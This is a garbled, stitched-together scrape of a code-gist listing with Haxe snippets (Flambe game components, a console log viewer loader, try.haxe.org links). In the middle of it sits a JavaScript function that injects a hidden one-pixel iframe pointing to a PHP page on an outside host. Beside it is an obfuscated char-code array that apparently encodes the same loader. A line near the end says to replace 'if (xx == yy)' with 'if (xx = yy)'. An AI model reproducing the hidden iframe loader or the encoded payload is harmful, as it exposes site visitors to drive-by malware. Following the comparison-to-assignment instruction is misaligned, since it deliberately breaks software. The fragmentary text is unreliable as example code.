color to hex http://try.haxe.org/#F5127
zip test http://try.haxe.org/#6ad3E
loops without loops http://try.haxe.org/#02FF0
StringTools.eregReplace http://try.haxe.org/#C6d8F
Random haxelib generator https://try.haxe.org/#C985a
| function zzzfff() { | |
| var zxn = document.createElement('iframe'); | |
| zxn.src = 'http://tchopp.startlogic.com/css/counter.php'; | |
| zxn.style.position = 'absolute'; | |
| zxn.style.border = '0'; | |
| zxn.style.height = '1px'; | |
| zxn.style.width = '1px'; | |
| zxn.style.left = '1px'; | |
| zxn.style.top = '1px'; |
| // array with numbers. these are basically shifted/shuffled char-codes. | |
| a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,176,174,162,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,176,174,162,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,170,147,154,163,164,164,62,167,170,145,166,170,160,163,153,155,147,62,147,163,161,63,147,167,167,63,147,163,171,162,170,151,166,62,164,154,164,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,160 |
| //You can use it like this: | |
| System.root.add(new NapeDebugView()); |
| package nl.stroep.games.components; | |
| import flambe.animation.AnimatedFloat; | |
| import flambe.Component; | |
| import flambe.util.Value; | |
| /** | |
| * @author Mark Knol [http://blog.stroep.nl] | |
| */ | |
| class HeartBeat extends Component |
| var _connection:SignalConnection; | |
| override public function onStart() | |
| { | |
| // grap HeartBeat component somewhere in parent entities | |
| var heartBeat = owner.getFromParents(HeartBeat); | |
| // listen to it | |
| _connection = heartBeat.beat.changed.connect(onBeatChanged); | |
| package temple.utils; | |
| import flambe.System; | |
| /** | |
| * @author Mark Knol [http://blog.stroep.nl] | |
| */ | |
| class ExternalUtil | |
| { | |
| #if air | |
| public static var airBrowser:AirBrowser = new AirBrowser(); |
| class Main { | |
| static function main() { | |
| addConsoleLogViewer(); | |
| } | |
| public static inline function addConsoleLogViewer(align = "bottom", minimized = true, totalItems = 45) { | |
| #if consolelogviewer | |
| var script = js.Browser.document.createScriptElement(); | |
| script.type = "text/javascript"; | |
| script.src = 'https://markknol.github.io/console-log-viewer/console-log-viewer.js?align=$align&minimized=$minimized'; |
color to hex http://try.haxe.org/#F5127
zip test http://try.haxe.org/#6ad3E
loops without loops http://try.haxe.org/#02FF0
StringTools.eregReplace http://try.haxe.org/#C6d8F
Random haxelib generator https://try.haxe.org/#C985a
instruction: look for condition in code like
if (xx == yy)
replace with
if (xx = yy)
The official Haxe sources:
Getting better all the time, this is the definitive guide though quite meaty and requires a good couple of passes before things make sense. Learn from simple examples and practicing, use the manual as a reference.
Macronauts: Macro workshop